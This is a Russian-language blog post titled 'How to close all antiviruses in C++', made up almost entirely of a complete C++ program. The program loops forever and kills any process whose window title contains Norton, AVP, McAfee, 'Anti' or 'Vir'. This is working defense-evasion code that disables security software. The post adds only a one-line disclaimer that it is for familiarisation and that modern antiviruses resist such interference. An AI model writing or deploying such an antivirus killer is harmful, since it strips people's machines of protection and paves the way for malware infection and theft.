Познавательный блог  

Поиск по сайту

Гугль

Архивы

Как закрыть все антивирусы на C++

Как закрыть все антивирусы на C++.

В это раз мы будем закрывать все активные окна в заголовке которых встречаются слова "Norton","AVP","Anti","Vir","McAfee","anti","vir" . Программа будет висеть в памяти, перебирать все формы, окна и найдя в необходимом окне нужное слово — закрывать это окно.

#pragma hdrstop
#pragma argsused
#include <windows.h>

char* bad_windows_list[7] = {"Norton","AVP","Anti","Vir","McAfee","anti","vir"};

BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<7;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}

BOOL CALLBACK WndEnumProcMine(HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}

void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC)WndEnumProcMine,c);
}

int main(int argc, char* argv[])
{
do
{
Sleep(1000);
EnumProcessesOther();
}while(1);
return 0;
}

Статья написана исключительно для ознакомления. Современные антивирусы и фаерволы защищены от подобных вмешательств.

Написать комментарий








Страницы

Свежие записи

Гугль

Мета

Счетчики


Rambler's Top100

Рубрики

  Разработка и дизайн — StvPromo.ru